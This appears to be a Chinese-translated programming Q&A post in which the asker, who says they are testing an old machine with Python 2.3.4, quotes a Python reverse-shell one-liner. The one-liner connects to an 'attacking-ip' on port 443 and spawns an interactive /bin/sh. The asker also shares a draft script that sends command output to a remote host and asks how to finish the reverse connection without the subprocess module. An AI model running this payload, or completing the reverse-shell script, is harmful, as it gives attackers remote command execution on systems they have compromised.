【发布时间】:2017-02-26 13:20:07
【问题描述】:
我正在测试一台安装了 Python 2.3.4 的机器。
使用这一个班轮:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
这是:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacking-ip",443));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
我收到此错误:
Traceback(最近一次调用最后一次):文件“”,第 1 行,在 ? ImportError: 没有名为子进程的模块
我现在正在寻找创建一个脚本来提供反向连接。我的问题/问题是是否可以通过导入子流程来做到这一点?
到目前为止我有这个
#!/usr/bin/python
import socket
import os
HOST = ''
PORT = ''
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #CREATES TCP SOCKET
conn.connect((HOST, PORT)) #CONNECT
while 1: #LOOP
ls = os.system('ls') # test with ls
#^ Need to add the ability to use any system command
command_send = conn.send(ls) #RECEIVE COMMAND
#EXECUTE COMMAND
这个循环永远都没有弄清楚如何在接收到数据的情况下停止循环并使脚本保持活动状态。
【问题讨论】:
标签: python subprocess